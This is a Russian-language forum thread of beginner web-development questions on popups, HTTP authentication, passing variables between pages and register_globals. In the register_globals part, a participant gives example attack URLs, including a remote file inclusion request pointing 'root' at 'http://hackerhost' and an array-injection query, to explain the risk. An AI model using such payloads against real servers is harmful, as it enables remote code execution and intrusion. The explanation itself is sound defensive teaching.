_Psih Тоже нормально, хотя для начинающих более непонятна чем моя

Я создаю временно окошко следующим образом:

<script language="JavaScript">function openwindow() {var url="openwindow.shtml";myWin=window.open(url,"openwindow","width=300,height=150,resizable=no,scrollbars=no,menubar=no,toolbar=no");}</script>

<a href=javascript:delpr()>OPEN</a>

У меня очень большой вопрос, Как при открытии этого окна заставить перейти по определенной ссылке главное окно?
Подскажите пожалуйсто.

Добавлено спустя 54 минуты, 10 секунд:
И еще очень нужно узнать: на многих сайтах видела "секретные" формы ввода логина и пароля...
Типа пользователь нажимает на <a href=что-то>.</a> и ему открывается виндовское окошечко с предложением ввода логина и пароля (что-то типа vpn)... Подскажите функцию для этого...

Народ, подскажите плз. как с помощью JS передать параметр через ссылку с одной страницы на другую и принять его?
К примеру на стр1 есть переменная n, как передать ее через ссылку на другую страницу и принять ее?
ЗЫ давно уже ищу решение, нашел только как передать, щас не помню точно но вроде через ? делается...

ElMory
А это уже элементарная HTTP-авторизация. Это уже настраивается на уровне конфигурации сервера, например в .htaccess. Так называемые "защищенные" файлы или каталоги. Скрипты тут не причем.

Lord_of_Darkness
Тут разве что передать переменную из Javascript в сессию PHP, или через GET, или даже POST путем подстановки ее в hidden-поле.. Тогда понадобится только в начале проинициализировать переменную в JS на странице, которой она передалась, распечатав ее. Например так:

Moduvator
Это что-бы получить дополнительный доступ к динамическому сайту........
Можно поподробней???

Здраствуйте!! у меня возникла следующая трудность... Я формирую страничку - счёт фатуру из таблицы(SQL)... так вот возниклас следующая проблемма т.к. это документ то он должен соответствовать образцу и образец такого вида например:


Поставщик: ЗАО Ремпуть111111111111111111111111111111
Покупатель: АО ССГПО

как сделать чтобы правый столбец всегда на доступную шырину был подчёркнут не зависимо от длины текста?

Думаю далее идея ясна

Добавлено спустя 38 секунд:

Что ты подразумеваешь под словом "динамический доступ" ?

_Psih
1. Есть такой сайтик www.pgpru.com Так вот там в левом верхнем углу была точечка, при нажатии на которую открывалась менюшка (не страница и не всплывающее окно) с просьбой ввести логин и пароль...

2.
Я создаю временно окошко следующим образом:

<script language="JavaScript">function openwindow() {var url="openwindow.shtml";myWin=window.open(url,"openwindow","width=300,height=150,resizable=no,scrollbars=no,menubar=no,toolbar=no");}</script>

<a href=javascript:delpr()>OPEN</a>

У меня очень большой вопрос, Как при открытии этого окна заставить перейти по определенной ссылке главное окно?
Не знаешь?

1-е это обычная ссылка там же...

2-е: в форме ввода логина напиши у тега form так:

непомню точно был там reload или refresh, но примерно так

Moduvator А для этого поддержка пхп сервером не нужна случаем? Ато у меня на ньюмайле не пашет. Вот как сделал:
первая страница


Вторая:


Говорит синтаксическая ошибка

сервер должен иметь установленный PHP

Есть такой вопрос
Почему в начале статьи автор намекает на то что использовать register_globals плохо?
Обьясните идиоту а?
в чем конкретно разница?

Добавлено спустя 2 минуты, 7 секунд:
Lord_of_Darkness
переименуй файлы из .html в .php

Nec
Не вдаваясь в детали - со включеным register_globals скрипты получаются более уязвимыми. А во-вторых, и это самое важное - сценарий, корректно работающий с register_globals=off будет корректно работать и с включенным параметром, но не наоборот.

Очень сомнительно по поводу пункта 1.
и каким это образом более уязвимые?
в обоих случаях ведь в уязвимых местах делается проверка на содержание переменной. типа там ааддслеши стриптэги проверко на число... и т.п.
ведь вредоносный код в переменную запихивают не в зависимости от регистер_глобалс

короче по моему эт надуманная проблема.

есть контраргумент конкретный?

Nec, _Psih у меня хостинг пхп не поддерживает.
Дык значит JS не обойтись? Обидно, ну да ладно...
ЗЫ спасибо всем за помощь.

Nec register_globals позволяет задавать не только те переменные которые вы проверяете а все что только можно это и приводит к повышеной опасности так что ваши доводы пожалуй слегка легкомысленны и я даже сказал бы "глуповаты" (не в обиду было сказано)

Nec
Первый пример уязвимости:

Если в коде выше переменная $root по ошибке не проинициализируется (это может случиться по разным причинам), злоумышленник сможет запустить на сервере любой код, открыв следующий адрес в броузере:
http://example.com/script.php?root=http://hackerhost

Конечно, этот пример может показаться надуманным. Таким он по сути и является: эта проблема может проявиться только в сложных скриптах, насчитывающих несколько файлов, включающих друг друга. Там бывает весьма непросто уследить за глобальными переменными. Например, в этом самом форуме - phpBB неоднократно находились и устранялись уязвимости подобного рода.

Более простой пример - массивы. Многие люди просто пишут в своих программах

Они не задумываются, что надо бы очистить массив $artefacts, полагая, что он и так пуст в начале программы. Корректный же код должен выглядеть так:

К чему ведет пропуск artefacts = array(); в начале скрипта? Да к тому, что передав специально подобраную строку запроса, хакер сможет добавить в массив произвольные элементы. Например, он запустит сценарий так:
http://example.com/script.php?artefacts[reboot]=yes
При этом в программе с пропущеным обнулением массива, в него будут помещены три элемента, а не два. Скрипт может на это никак не расчитывать, что в свою очередь может породить проблемы с безопасностью.

Абсолютно реальный (в одной из старых версий PunBB)

Тоже далеко ходить не надо phpBB 2.0.8 (faq.php)

Рассмотрим также в каком порядке записываются данные в массив $_REQUEST, а также в глобальные переменные при включенном register_globals. Этот порядок вообще говоря важен.

Например, пусть у нас есть параметр А=10, поступивший из QUERY_STRING, параметр А=20 из POST-запроса, и cookie A=30. По умолчанию трансляция выполняется в подрядке GET-POST-COOKIE (GPC), причем каждая следующая переменная перекрывает предыдущее свое значение. Поэтому в нашем примере в ячейке массива $_REQUEST['A'] будет значение 30.

В режиме register_globals в глобальные переменные также попадут переменные окружения. Записываются они в соответствии со схемой ENVIRONMENT-GET-POST-COOKIE (EGPC). Иными словами, переменные окружения в режиме register_globals перекрываются даже GET-данными, и злоумышленник может легко подделать любую из них, передав соответствующую QUERY_STRING при запуске сценария. Поэтому, если мы хотим получить доступ к переменным окружения, то обращаться к ним следует либо через массив $_SERVER или через функцию getenv(), чтобы избежать неприятностей.

А включенный режим register_globals провоцирует программиста "лениться", просто обращаясь к глобальным переменным.. К чему это может привести - думаю, вы догадываетесь сами..

Здравствуйте, это снова я Но на этот раз с ответом на свой вопрос. Как горица кто ищет - тот всегда ченить накопает...
Вот нашел как параметр передать и принять

Причем в самом неожиданном месте - в FAQ на хоботе
А как это выглядит в действии можно посмотреть тут